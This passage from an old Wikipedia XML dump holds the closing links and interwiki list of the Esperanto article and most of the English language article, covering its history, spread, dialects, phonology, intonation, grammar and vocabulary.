* [http://www.esperanto-panorama.net/ Esperanto - Panorama]
* [http://www.monda.org/nesto/ Projekto NESTO] – Tutoring courses of Esperanto in several languages.

;Esperanto organizations
* [http://www.uea.org Universal Esperanto Association]
* [http://www.esperanto-gb.org Esperanto Association of Britain]
* [http://www.esperanto.ca/kea/index.htm Canadian Esperanto Association]
* [http://www.esperanto.org.au/ Australian Esperanto Association]
* [http://www.esperanto.org.nz/ New Zealand Esperanto Association]
* [http://www.esperanto-usa.org/ Esperanto League for North America] – US national organization
* [http://www.esperanto.org.br/ Brazilian Esperanto League] – Brazil's national organization
* [http://www.esperanto.gov.uca.cc UCA Special Commission on Esperanto Initiatives]
* [http://www.akademio-de-esperanto.org Akademio de Esperanto]
* [http://www.forst.uni-muenchen.de/EXT/AIS/index.html Akademio Internacia de la Sciencoj San-Marino] - International Academy of the Sciences

;News in Esperanto
* [http://internacia.tv/ Internacia Televido] - First television channel completely in Esperanto
* [http://gxangalo.com/modules/noticoj/ Ĝangalo - Notico-Indekso] - News index from the biggest news portal in Esperanto
* [http://raporto.info/ Raporto - Kie la mondo raportas al vi] - news site
* [http://es.chinabroadcast.cn/ China Radio International]
* [http://terra-esperanto.blog.ca/ TERRA-Esperanto expedition] 

;Portal
* [http://gxangalo.com/ Ĝangalo - La mondo en Esperanto] - The World in Esperanto (the biggest news portal in Esperanto) 
* [http://esperanto.china.org.cn/world/index.htm China Interreta Informa Centro] - China's Official Gateway to News &amp; Information in Esperanto
* [http://esperantomondo.net/ Esperantomondo] - Esperanto forum

;Entertainment
* [http://libroj.oftheinter.net/trac Esperanto Picture Books for Children]

;Criticism
* [http://www.xibalba.demon.co.uk/jbr/ranto/ Learn Not to Speak Esperanto] by Justin B. Rye
* [http://www.rickharrison.com/language/bloated.html Is Esperanto's Vocabulary Bloated?]


[[Category:Esperanto]]
[[Category:International auxiliary languages|Esperanto]]
[[Category:Constructed languages]]

{{Link FA|eo}}
{{Link FA|pl}}
{{Link FA|fr}}
{{Link FA|ru}}
{{Link FA|fi}}
{{Link FA|de}}
{{Link FA|sv}}

{{Link FA|pl}}

[[af:Esperanto]]
[[als:Esperanto]]
[[am:ኤስፔራንቶ]]
[[ar:إسبرانتو]]
[[ast:Esperantu]]
[[bg:Есперанто]]
[[zh-min-nan:Sè-kài-gí]]
[[be:Эспэранта]]
[[br:Esperanteg]]
[[ca:Esperanto]]
[[cs:Esperanto]]
[[cy:Esperanto]]
[[da:Esperanto]]
[[de:Esperanto]]
[[et:Esperanto]]
[[el:Εσπεράντο]]
[[es:Esperanto]]
[[eo:Esperanto]]
[[eu:Esperanto]]
[[fa:اسپرانتو]]
[[fr:Espéranto]]
[[fy:Esperanto]]
[[ga:Esperanto]]
[[gl:Esperanto]]
[[ko:에스페란토]]
[[hi:एस्पेरान्तो]]
[[hr:Esperanto]]
[[io:Esperanto]]
[[id:Bahasa Esperanto]]
[[ia:Esperanto]]
[[is:Esperantó]]
[[it:Esperanto]]
[[he:אספרנטו]]
[[sw:Kiesperanto]]
[[ku:Esperanto]]
[[la:Esperanto]]
[[lt:Esperanto]]
[[li:Esperanto]]
[[jbo:esperant]]
[[hu:Eszperantó nyelv]]
[[ms:Bahasa Esperanto]]
[[nl:Esperanto]]
[[nds:Esperanto]]
[[ja:エスペラント]]
[[no:Esperanto]]
[[nn:Esperanto]]
[[oc:Esperanto]]
[[os:Эсперанто]]
[[pl:Esperanto]]
[[pt:Esperanto]]
[[ro:Esperanto]]
[[ru:Эсперанто]]
[[sco:Esperanto]]
[[sq:Gjuha Esperanto]]
[[sh:Esperanto]]
[[simple:Esperanto]]
[[sk:Esperanto]]
[[sl:Esperanto]]
[[sr:Есперанто]]
[[fi:Esperanto]]
[[sv:Esperanto]]
[[th:ภาษาเอสเปอรันโต]]
[[tr:Esperanto]]
[[uk:Есперанто]]
[[vo:Esperanto]]
[[zh:世界语]]</text>
    </revision>
  </page>
  <page>
    <title>English language</title>
    <id>9249</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42109297</id>
      <timestamp>2006-03-03T22:02:11Z</timestamp>
      <contributor>
        <username>Magicalsaumy</username>
        <id>504515</id>
      </contributor>
      <comment>/* Characteristics of intonation */ Added more about stress</comment>
      <text xml:space="preserve">{{Infobox Language
|name=English
|familycolor=Indo-European
|pronunciation=ˈɪŋglɪʃ
|states= [[Australia]], [[Canada]], [[Republic of Ireland|Ireland]], [[New Zealand]], [[United Kingdom]], [[United States]], [[India]], [[Liberia]], [[Malta]], [[South Africa]] and other countries&lt;br&gt;(used as international language)
|speakers=First language: about 380 million&lt;br&gt;Second language: 150 million-1 billion
|rank=#3 or #4 as a native language (near-tie with [[Spanish language|Spanish]]);&lt;br&gt;#2 in overall speakers
|fam2=[[Germanic languages|Germanic]]
|fam3=[[West Germanic languages|West Germanic]]
|fam4=[[Anglo-Frisian languages|Anglo-Frisian]]
|fam5=[[Anglic languages|Anglic]]
|script=[[Latin alphabet]]
|nation=''De jure'': [[Australia]], [[New Zealand]], [[Liberia]], [[Philippines]], [[Belize]], most [[Commonwealth of Nations|Commonwealth]] countries; &lt;br&gt;''De jure, one of several'': [[Canada]], [[Republic of Ireland|Ireland]], [[South Africa]], [[India]], [[European Union]] &lt;br&gt;''De facto'': [[United Kingdom]], [[United States]]
|iso1=en|iso2=eng|iso3=eng|map=[[Image:Anglospeak.png|center|300px]]&lt;center&gt;&lt;small&gt;Countries of the world where English&lt;br /&gt;is an official or ''de facto'' official language.&lt;/center&gt;&lt;/small&gt;}}

'''English''' is a [[West Germanic languages|West Germanic language]] which is the dominant language in the [[United Kingdom]], the [[United States]], many [[Commonwealth of Nations|Commonwealth]] nations including [[Australia]] and [[Canada]], and other former [[British overseas territories|British colonies]]. It is also a dominant or official language in many countries formerly [[British Empire|under British rule]].  

English is now the fourth (or possibly third depending on the source) most widely spoken [[first language|native language]] worldwide (after [[Chinese language|Chinese]], [[Hindi]] and debatably [[Spanish language|Spanish]]), with some [[List of languages by number of native speakers|380 million speakers]]. English is also the dominant member of the [[Germanic languages]]. It has ''[[lingua franca]]'' status in many parts of the world, due to the military, economic, scientific, political and cultural influence of the [[British Empire]] in the 18th, 19th and early 20th centuries and that of the [[United States]] from the early 20th century to the present. 

Through the global influence of native English speakers in [[film|cinema]], [[airline]]s, [[broadcasting]], [[science]], and the [[Internet]] in recent decades, English is now the most widely learned [[second language]] in the world, although other languages such as [[French language|French]] and [[Spanish]] also retain much importance worldwide.

Many students worldwide are required to learn at least some English, and a working knowledge of English is required in many fields and occupations.

==History==
{{main|History of the English language}}
English is an [[Anglo-Frisian languages|Anglo-Frisian language]] brought to [[Britain]] by [[Germanic tribes|Germanic settlers]] from various parts of northwest Germany. The original [[Old English language]] was subsequently influenced by two successive waves of invasion. The first was by speakers of languages in the Scandinavian branch of the Germanic family, who colonised parts of Britain in the 8th and 9th centuries. The second wave was of the [[Normans]] in the 11th century, who spoke [[Norman language|Norman]] (an [[Langues d'oïl|oïl language]] closely related to [[French language|French]]).

According to the ''[[Anglo-Saxon Chronicle]]'', around the year [[449]], [[Vortigern]], King of the [[British Isles]], invited the Angles to help him against the [[Picts]]. In return, the Angles were granted lands in the south-east. Further aid was sought, and in response came Saxons, Angles, and Jutes. The ''Chronicle'' talks of a subsequent influx of settlers who eventually established [[heptarchy|seven kingdoms]]. Modern scholarship considers most of this story to be legendary and politically motivated.

These Germanic invaders dominated the original [[Celtic languages|Celtic-speaking]] inhabitants, whose languages survived largely in [[Scotland]], [[Wales]], [[Cornwall]], and [[Ireland]]. The dialects spoken by the invaders formed what would be called [[Old English language|Old English]], which resembled some coastal dialects in what are now north-west Germany and the Netherlands. Later, it was strongly influenced by the [[North Germanic languages|North Germanic]] language [[Old Norse language|Norse]], spoken by the [[Viking]]s who settled mainly in the north-east (see [[Jórvík]]).

For the 300 years following the [[Norman Conquest of England|Norman Conquest]] in [[1066]], the Norman kings and the high nobility spoke only [[Anglo-Norman language|Anglo-Norman]]. A large number of Norman words were assimilated into Old English. The Norman influence reinforced the continual evolution of the language over the following centuries, resulting in what is now referred to as [[Middle English]]. 

During the [[15th century]], Middle English was transformed by the [[Great Vowel Shift]], the spread of a standardised London-based dialect in government and administration, and the standardising effect of printing. [[Modern English]] can be traced back to around the time of [[William Shakespeare]].

==Classification and related languages==
The English language belongs to the western subbranch of the [[Germanic languages|Germanic branch]] of the [[Indo-European]] family of languages. Apart from English-lexified [[creole language]]s such as [[Tok Pisin]] and [[Bislama]], the nearest living relative of English is [[Scots language|Scots (Lallans)]], spoken mostly in Scotland and parts of Northern Ireland. Like English, Scots is a direct descendant of Old English, also known as Anglo-Saxon.

After Scots, the next closest relative is [[Frisian language|Frisian]]—spoken in Germany and the Netherlands. Other less closely related living languages include [[German language|German]], [[Low German]], [[Dutch language|Dutch]], [[North Germanic language|Scandinavian languages]] and [[Afrikaans language|Afrikaans]]. Many [[French language|French]] words are also intelligible to an English speaker (pronunciations are not always identical, of course) because English absorbed a tremendous amount of vocabulary from French, via the [[Norman language]] after the [[Norman Conquest of England|Norman conquest]] and directly from French in further centuries; as a result, a substantial share of English vocabulary is quite close to the French, with some minor spelling differences (word endings, use of old French spellings etc.), as well as occasional differences in meaning.

==Geographic distribution==
[[Image:English dialects1997.png|thumb|right|250px|Distribution of native English speakers by country (Crystal 1997)]]
English is the second or third most widely spoken language in the world today. A total of 600&amp;ndash;700 million people use the various dialects of English regularly. About 377 million people use one of the versions of English as their mother tongue, and an equal number of people use them as their second or foreign language. English is used widely in either the public or private sphere in more than 100 countries all over the world. In addition, the language has occupied a primary place in international academic and business communities. The current status of the English language at the start of the new millennium compares with that of [[Latin]] in the past. English is also the most widely used language for young [[Backpacking (travel)|backpackers]] who travel across continents, regardless of whether it is their mother tongue or a secondary language.

English is the primary language in [[Anguilla]], [[Antigua and Barbuda]], [[Australia]] ([[Australian English]]), the [[Bahamas]], [[Barbados]] ([[Caribbean English]]), [[Bermuda]], [[Belize]], the [[British Virgin Islands]], [[Canada]] ([[Canadian English]]), the [[Cayman Islands]], [[Dominica]], the [[Falkland Islands]], [[Gibraltar]], [[Grenada]], [[Guernsey]], [[Guyana]], [[Isle of Man]], [[Jamaica]] ([[Jamaican English]]), [[Jersey]], [[Montserrat]], [[New Zealand]] ([[New Zealand English]]), [[Ireland]] ([[Hiberno-English]]), [[Saint Helena]], [[Saint Lucia]], [[Saint Kitts and Nevis]], [[Saint Vincent and the Grenadines]], [[Trinidad and Tobago]], the [[Turks and Caicos Islands]], the [[United Kingdom]] (various forms of [[British English]]), the [[United States Virgin Islands|U.S. Virgin Islands]] and the [[United States]] ([[American English]])

English is also an important [[minority language]] of [[South Africa]] ([[South African English]]), and in several other former [[colony|colonies]] and current [[dependent territory|dependent territories]] of the United Kingdom and the United States, for example [[Guam]] and [[Mauritius]].

In [[Hong Kong]], English is an [[official language]] and is widely used in business activities. It is taught from [[infant school]], and is the medium of instruction for a few [[primary education | primary schools]], many [[secondary education | secondary schools]] and all [[university|universities]]. Substantial numbers of students acquire [[native-speaker]] level. It is so widely used that it is inadequate to say that it is merely a second or [[foreign language]], though there are still many people in Hong Kong with poor or no command of English.

The majority of English native speakers (67 to 70 per cent) live in the United States. Although the [[United States federal government|U.S. federal government]] has no official languages, it has been given official status by 27 of the 50 state governments, most of which have declared English their sole official language. [[Hawaii]], [[Louisiana]], and [[New Mexico]] have also designated [[Hawaiian language|Hawaiian]], [[French language|French]], and [[Spanish language|Spanish]], respectively, as official languages in conjunction with English.

In many other countries, where English is not a major first language, it is an official language; these countries include [[Cameroon]], [[Fiji]], the [[Federated States of Micronesia]], [[Ghana]], [[The Gambia|Gambia]], [[India]], [[Kiribati]], [[Lesotho]], [[Liberia]], [[Kenya]], [[Namibia]], [[Nigeria]], [[Malaysia]], [[Malta]], the [[Marshall Islands]], [[Pakistan]], [[Papua New Guinea]], the [[Philippines]], [[Rwanda]], the [[Solomon Islands]], [[Samoa]], [[Sierra Leone]], [[Singapore]], [[Swaziland]], [[Tanzania]], [[Zambia]] and [[Zimbabwe]].

English is the most widely learned and used foreign language in the world, and as such, some linguists believe that it is no longer the exclusive cultural emblem of 'native English speakers', but rather a language that is absorbing aspects of cultures world-wide as it grows in use. Others believe that there are limits to how far English can go in suiting everyone for communication purposes. Many people feel that the use of English through media such as the Internet and its constant, informal use by others has led to a diminution in the importance of using the language correctly, thus resulting in a 'dumbing down' of the English language. English is the language most often studied as a foreign language in [[Europe]] (32.6 per cent), followed by French, German, and Spanish. It is also the most studied in [[Japan]], [[South Korea]] and in the [[Republic of China]] ([[Taiwan]]), where it is compulsory for most [[secondary school]] students. See [[English as an additional language]].

===English as a global language===
''See also: [[English on the Internet]]''

Because English is so widely spoken, it has been referred to as a &quot;[[global language]]&quot;. While English is not an official language in many countries, it is the language most often taught as a [[second language]] around the world. It is also, by international treaty, the official language for aircraft/airport communication. Its widespread acceptance as a first or second language is the main indication of its worldwide status.

There are numerous arguments for and against English as a global language. On one hand, having a global language aids in communication and in pooling information (for example, in the scientific community). On the other hand, it leaves out those who, for one reason or another, are not fluent in the global language. It can also marginalise populations whose first language is not the global language, and lead to a [[cultural hegemony]] of the populations speaking the global language as a first language. Most of these arguments hold for any candidate for a global language, though the last two counter-arguments do not hold for languages not belonging to any ethnic group (like [[Esperanto]]).

A secondary concern with respect to the spread of global languages (including major non-English languages such as [[Spanish language|Spanish]]) is the resulting disappearance of [[minority language]]s, often along with the cultures and religions that are primarily transmitted in those languages.  English has been implicated in a number of historical and ongoing so-called '[[language death]]s' and '[[linguicide]]s' around the world, many of which have also led to the loss of cultural heritage.  Language death caused by English has been particularly pronounced in areas such as [[Australia]] and [[North America]] where speakers of [[indigenous language]]s have been displaced or absorbed by speakers of English in the process of [[colonisation]].

===Dialects and regional variants===
{{main|List of dialects of the English language}}
{{English dialects}}

The expansiveness of the British and the Americans has spread English throughout the globe. Because of its global spread, it has bred a variety of [[List of dialects of the English language|English dialects]] and English-based [[creole language]]s and [[pidgin]]s.

The major varieties of English in most cases contain several subvarieties, such as [[Cockney]] slang within [[British English]], [[Newfoundland English]] within [[Canadian English]], and [[African American Vernacular English]] (&quot;[[Ebonics]]&quot;) within [[American English]]. English is considered a [[pluricentric language]], with no variety being clearly considered the only standard.

Some consider [[Scots language|Scots]] as an English dialect. Pronunciation, grammar and lexis differ, sometimes substantially.

Because of English's wide use as a second language, English speakers can have many different [[accent (language)|accent]]s, which may identify the speaker's native dialect or language. For more distinctive characteristics of regional accents, see [[Regional accents of English speakers]]. For more distinctive characteristics of regional dialects, see [[List of dialects of the English language]].

Just as English itself has borrowed words from many different languages over its history, English [[loanword]]s now appear in a great many languages around the world, indicative of the technological and cultural influence wielded by English speakers.  Several pidgins and creole languages have formed on an English base - [[Tok Pisin]] was originally one such example.  There are a number of words in English coined to describe forms of particular non-English languages that contain a very high proportion of English words - [[Franglais]], for example, is used to describe [[French language|French]] with a very high English content.

===Constructed variants of English===
*[[Basic English]] is simplified for easy international use. It is used by some aircraft manufacturers and other international businesses to write manuals and communicate. Some English schools in the Far East teach it as an initial practical subset of English.
*[[Special English]] is a simplified version of English used by the [[Voice of America]]. It uses a vocabulary of 1500 words.
*[[English reform]] is an attempt to improve collectively upon the English language.
*[[Seaspeak]] and the related [[Airspeak]] and [[Policespeak]], all based on restricted vocabularies, were designed by Edward Johnson in the [[1980s]] to aid international co-operation and communication in specific areas.  There is also a [[tunnelspeak]] for use in the [[Channel Tunnel]].
*[[European English]] is a new variant of the English language created to become the common language in Europe, spoken in the United Kingdom and Republic of Ireland.
*[[Manually Coded English]] — a variety of systems have been developed to represent the English language with hand signals, designed primarily for use in deaf education.

==Sounds==
{{main|English phonology}}

===Vowels===
{|border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; class=&quot;wikitable&quot;
![[International Phonetic Alphabet|IPA]] !! Description !! word
|-
! colspan=&quot;3&quot; style=&quot;text-align:left; background:#dedede&quot;| [[monophthong]]s
|-
| {{IPA|i/iː}} || [[Close front unrounded vowel]] || b{{bold dark red|ea}}d
|-
| {{IPA|ɪ}} || [[Near-close near-front unrounded vowel]] || b{{bold dark red|i}}d
|-
| {{IPA|ɛ}} || [[Open-mid front unrounded vowel]] || b{{bold dark red|e}}d
|-
| {{IPA|æ}} || [[Near-open front unrounded vowel]] || b{{bold dark red|a}}d
|-
| {{IPA|ɒ}} || [[Open back rounded vowel]] || b{{bold dark red|o}}d {{footnote|1}}
|-
| {{IPA|ɔ}} || [[Open-mid back rounded vowel]] || p{{bold dark red|aw}}ed {{footnote|2}}
|-
| {{IPA|ɑ/ɑː}} || [[Open back unrounded vowel]] || br{{bold dark red|a}}
|-
| {{IPA|ʊ}} || [[Near-close near-back rounded vowel]] || g{{bold dark red|oo}}d
|-
| {{IPA|u/uː}} || [[Close back rounded vowel]] || b{{bold dark red|oo}}ed
|-
| {{IPA|ʌ/ɐ}} || [[Open-mid back unrounded vowel]], [[Near-open central vowel]] || b{{bold dark red|u}}d
|-
| {{IPA|ɝ/ɜː}} || [[Open-mid central unrounded vowel]] || b{{bold dark red|ir}}d {{footnote|3}}
|-
| {{IPA|ə}} || [[Schwa]] || Ros{{bold dark red|a}}'s {{footnote|4}}
|-
| {{IPA|ɨ}} || [[Close central unrounded vowel]] || ros{{bold dark red|e}}s {{footnote|5}}
|-
! colspan=&quot;3&quot; style=&quot;text-align:left; background:#dedede&quot;| [[diphthongs]]
|-
| {{IPA|eɪ}} || [[Close-mid front unrounded vowel]] &lt;br&gt; [[Close front unrounded vowel]] || b{{bold dark red|ay}}ed
|-
| {{IPA|oʊ/əʊ}} || [[Close-mid back rounded vowel]] &lt;br&gt; [[Near-close near-back rounded vowel]] || b{{bold dark red|o}}de
|-
| {{IPA|aɪ}} || [[Open front unrounded vowel]] &lt;br&gt; [[Near-close near-front rounded vowel]] || b{{bold dark red|uy}}
|-
| {{IPA|aʊ}} || [[Open front unrounded vowel]] &lt;br&gt; [[Near-close near-back rounded vowel]] || b{{bold dark red|ough}}
|-
| {{IPA|ɔɪ}} || [[Open-mid back rounded vowel]] &lt;br&gt; [[Close front unrounded vowel]] || b{{bold dark red|oy}}
|}
'''Notes:'''

It is the vowels that differ most from region to region.

Where symbols appear in pairs, the first corresponds to the sounds used in North American English, the second corresponds to English spoken elsewhere.
#North American English lacks this sound; words with this sound are pronounced with {{IPA|/ɑ/}} or {{IPA|/ɔ/}}. According to The Canadian Oxford Dictionary (1998), this sound is present in Standard Canadian English.
#Many dialects of North American English do not have this vowel. See [[Phonological history of the low back vowels#Cot-caught merger|''Cot-caught merger'']].
#The North American variation of this sound is a [[r-colored vowel|rhotic vowel]].
#Many speakers of North American English do not distinguish between these two unstressed vowels. For them, ''roses'' and ''Rosa's'' are pronounced the same, and the symbol usually used is [[schwa]] {{IPA|/ə/}}.
#This sound is often transcribed with {{IPA|/i/}} or with {{IPA|/ɪ/}}.
#The letter ''U'' can represent either /u/ or the [[iotation|iotated]] vowel /ju/.

===Consonants===
This is the English Consonantal System using symbols from the [[International Phonetic Alphabet]] (IPA).
{|class=&quot;wikitable&quot;
! &amp;nbsp;
![[bilabial consonant|bilabial]]
![[labiodental consonant|labio-&lt;br /&gt;dental]]
![[interdental consonant|dental]]
![[alveolar consonant|alveolar]]
![[palato-alveolar consonant|post-&lt;br /&gt;alveolar]]
![[palatal consonant|palatal]]
![[velar consonant|velar]]
![[glottal consonant|glottal]]
|-
|'''[[plosive consonant|plosive]]'''
| style=&quot;text-align:center;&quot;|{{IPA|p&amp;nbsp;&amp;nbsp;b}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|t&amp;nbsp;&amp;nbsp;d}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|k&amp;nbsp;&amp;nbsp;g}}
| &amp;nbsp;
|-
|'''[[nasal consonant|nasal]]'''
| style=&quot;text-align:center;&quot;|{{IPA|m}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|n}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|ŋ}} {{footnote|1}}
| &amp;nbsp;
|-
|'''[[flap consonant|flap]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|ɾ}} {{footnote|2}}
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|-
|'''[[fricative consonant|fricative]]'''
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|f&amp;nbsp;&amp;nbsp;v}}
| style=&quot;text-align:center;&quot;|{{IPA|θ&amp;nbsp;&amp;nbsp;ð}} {{footnote|3}}
| style=&quot;text-align:center;&quot;|{{IPA|s&amp;nbsp;&amp;nbsp;z}}
| style=&quot;text-align:center;&quot;|{{IPA|ʃ&amp;nbsp;&amp;nbsp;ʒ}} {{footnote|4}}
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|x}} {{footnote|5}}
| style=&quot;text-align:center;&quot;|{{IPA|h}}
|-
|'''[[affricate consonant|affricate]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|tʃ&amp;nbsp;&amp;nbsp;dʒ}} {{footnote|4}}
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|-
|'''[[approximant]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|ɹ}} {{footnote|4}}
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|j}}
| &amp;nbsp;
| &amp;nbsp;
|-
|'''[[lateral consonant|lateral approximant]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|l, ɫ}}
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|}

{|class=&quot;wikitable&quot;
! &amp;nbsp;
![[labial-velar consonant|labial-velar]]
|-
|'''[[approximant]]'''
| style=&quot;text-align:center;&quot;|{{IPA|ʍ&amp;nbsp;&amp;nbsp;w}}{{footnote|6}}
|}
#The [[velar nasal]] {{IPA|[ŋ]}} is a non-phonemic allophone of /n/ in some northerly British accents, appearing only before /g/. In all other dialects it is a separate phoneme, although it only occurs in [[syllable coda]]s.
#The [[alveolar flap]] {{IPA|[ɾ]}} is an allophone of /t/ and /d/ in unstressed syllables in [[North American English]] and increasingly in [[Australian English]]. This is the sound of &quot;tt&quot; or &quot;dd&quot; in the words ''latter'' and ''ladder'', which are homophones in North American English. This is the same sound represented by single &quot;r&quot; in some varieties of [[Spanish language|Spanish]].
#In some dialects, such as [[Cockney]], the interdentals /θ/ and /ð/ are usually merged with /f/ and /v/, and in others, like [[African American Vernacular English]], /ð/ is merged with /d/. In some Irish varieties, /θ/ and /ð/ become the corresponding dental plosives, which then contrast with the usual alveolar plosives.
#The sounds {{IPA|/ʃ/, /ʒ/, and /ɹ/}} are labialised in some dialects. Labialisation is never contrastive in initial position and therefore is sometimes not transcribed.
#The [[voiceless velar fricative]] /x/ is used only by Scottish or Welsh speakers of English for Scots/Gaelic words such as ''loch'' {{IPA|/lɒx/}} or by some speakers for loanwords from German and Hebrew like ''Bach'' {{IPA|/bax/}} or ''Chanukah'' /xanuka/, or in some dialects such as Scouse ([[Liverpool]]) where the [[affricate]] [kx] is used instead of /k/ in words such as ''docker'' {{IPA|/dɒkxə/}}. Most native speakers have a great deal of trouble pronouncing it correctly when learning a foreign language. Most speakers use the sounds [k] and [h] instead.
#Voiceless w {{IPA|[ʍ]}} is found in Scottish and Irish English, as well as in some varieties of American, New Zealand, and English English. In all other dialects it is merged with /w/.

====Voicing and aspiration====
[[Voiced consonant|Voicing]] and [[aspiration (phonetics)|aspiration]] of [[stop consonant]]s in English depend on dialect and context, but a few general rules can be given:

* [[Voiceless consonant|Voiceless]] [[plosive]]s and [[affricate]]s (/{{IPA|p}}/, /{{IPA|t}}/, /{{IPA|k}}/, and /{{IPA|tʃ}}/) are aspirated when they are word-initial or begin a stressed syllable and are not part of a consonant cluster&amp;mdash;compare ''pin'' [{{IPA|pʰɪn}}] and ''spin'' [{{IPA|spɪn}}].
** In some dialects, aspiration extends to unstressed syllables as well.
** In other dialects, such as [[Indian English]], most or all voiceless stops may remain unaspirated.
* Word-initial voiced plosives may be devoiced in some dialects.
* Word-terminal voiceless plosives may be unreleased or accompanied by a glottal stop in some dialects (e.g. many varieties of [[American English]])&amp;mdash;examples: ''tap'' [{{IPA|tʰæp̚}}], ''sack'' [{{IPA|sæk̚}}].
* Word-terminal voiced plosives may be devoiced in some dialects (e.g. some varieties of [[American English]])&amp;mdash;examples: ''sad'' [{{IPA|sæd̥}}], ''bag'' [{{IPA|bæɡ̊}}]. In other dialects they are fully voiced in final position, but only partially voiced in initial position.

===See also===
[[International Phonetic Alphabet for English]]

==Supra-segmental Features==


===Tone groups===
English is an [[Intonation (linguistics)|intonation language]]. This means that the [[pitch (music)|pitch]] of the [[human voice|voice]] is used [[Syntax|syntactically]], for example, to convey [[surprise]] and [[irony]], or to change a [[statement]] into a [[question]].

In English, intonation patterns are on groups of words, which are called [[tone group]]s, tone units, intonation groups or sense groups. Tone groups are said on a single breath and, as a consequence, are of limited length, more often being on average five words long or lasting roughly two seconds. The structure of tone groups can have a crucial impact on the meaning of what is said. For example:
:-{{IPA|/duː juː niːd ˈɛnɪˌθɪŋ/ ''Do you need anything?''}}
:-{{IPA|&lt;nowiki&gt;/aɪ dəʊnt | nəʊ/ ''I don't, no''&lt;/nowiki&gt;}}
:-{{IPA|/aɪ dəʊnt nəʊ/ ''I don't know''}}

===Characteristics of intonation (stress accent)===
English is a ''stress times language'', i.e., certain syllables in each multi-syllablic word get a relative prominence/loudness during pronunciation while the others do not. The former kind of syllables are said to be ''accentuated/stressed'' and the latter are ''unaccentuated/unstressed''. All good dictionaries of English mark the accentuated syllable(s) by either placing an apostrophe-like ( ˈ ) sign either before (as in [[IPA]], [[Oxford]] [[dictionary]]) or after (as in [[Webster's dictionary]]) the syllable where the stress accent falls. In general, for a two-syllable word in English, it can be broadly said that if it is a noun or an adjective, the first syllable is accentuated; but if it is a verb, the second syllable is accentuated.

Hence in a sentence, each tone group can be subdivided into syllables, which can either be stressed (strong) or unstressed (weak). The stressed syllable is called the nuclear syllable. For example:
:''That | was | the | &lt;u&gt;'''best'''&lt;/u&gt; | thing | you | could | have | '''done'''!''
Here, all syllables are unstressed, except the syllables/words &quot;best&quot; and &quot;done&quot;, which are stressed. &quot;Best&quot; is stressed harder and, therefore, is the nuclear syllable.

The nuclear syllable carries the main point the speaker wishes to make. For example:
:'''''John''' had stolen that money''. (... not I)
:''John '''had''' stolen that money''. (... you said he hadn't)
:''John had '''stolen''' that money''. (... he wasn't given it)
:''John had stolen '''that''' money''. (... not this money)
:''John had stolen that '''money'''''. (... not something else)

The nuclear syllable is spoken louder than all the others and has a characteristic '''change of pitch'''. The changes of pitch most commonly encountered in English are the '''rising pitch''' and the '''falling pitch''', although the '''fall-rising pitch''' and/or the '''rise-falling pitch''' are sometimes used. For example:
:''When do you want to be paid?''
:''Nów?'' (rising pitch. In this case, it denotes a question: can I be paid now?)
:''Nòw'' (falling pitch. In this case, it denotes a statement: I choose to be paid now)

==Grammar==
{{main|English grammar}}

English grammar displays minimal [[inflected language|inflection]] compared with some other [[Indo-European]] languages.  For example, Modern English, unlike Modern [[German language|German]] or [[Dutch language|Dutch]] and the [[Romance languages]], lacks [[grammatical gender]] and [[agreement (grammar)|adjectival agreement]].  [[case (grammar)|Case]] marking has almost disappeared from the language and mainly survives in [[pronoun]]s.  The patterning of [[strong verbs|strong]] (eg. ''speak/spoke/spoken'') versus [[weak verbs|weak]] verbs inherited from Germanic has declined in importance and the remnants of inflection (such as [[plural]] marking) have become more regular.

At the same time as inflection has declined in importance in English, the language has developed a greater reliance on features such as [[modal verb]]s and [[word order]] to convey grammatical information. [[Auxiliary verb]]s are used to mark constructions such as questions, negatives, the [[passive voice]] and progressive [[tense]]s.

==Vocabulary==
Almost without exception, Germanic words (which include all the basics such as [[pronoun]]s and [[Grammatical conjunction|conjunction]]s) are shorter and more informal. Latinate words are regarded as more elegant or educated. However, the excessive use of Latinate words is often mistaken for either pretentiousness (as in the stereotypical policeman's talk of &quot;apprehending the suspect&quot;) or [[obfuscation]] (as in a military document which says &quot;neutralise&quot; when it means &quot;kill&quot;). [[George Orwell]]'s [[essay]] &quot;[[Politics and the English Language]]&quot; gives a thorough treatment of this feature of English.

An English speaker is often able to choose between Germanic and Latinate [[synonym]]s: &quot;come&quot; or &quot;arrive&quot;; &quot;sight&quot; or &quot;vision&quot;; &quot;freedom&quot; or &quot;liberty&quot;&amp;mdash;and sometimes also between a word inherited through French and a borrowing direct from Latin of the same root word: &quot;oversee&quot;, &quot;survey&quot; or &quot;supervise&quot;. The richness of the language is that such synonyms have slightly different meanings, enabling the language to be used in a very flexible way to express fine variations or shades of thought. See: [[List of Germanic and Latinate equivalents]].

An exception to this and a peculiarity arguably unique of English is that the nouns for meats are commonly different from and unrelated to those for the animals from which they are produced, the animal commonly having a Germanic name and the meat having a French derived noun. Examples include deer and venison, ox or cow and beef, or swine and pork. This is assumed to be a result of the aftermath of the Norman invasion where a French speaking elite were the consumers of the meat, produced by English speaking lower classes.

In everyday speech, the majority of words will normally be Germanic. If a speaker wishes to make a forceful point in an argument in a very blunt way, Germanic words will usually be chosen. A majority of Latinate words (or at least a majority of content words) will normally be used in more formal speech and writing, such as a [[court]]room or an [[encyclopedia]] article.

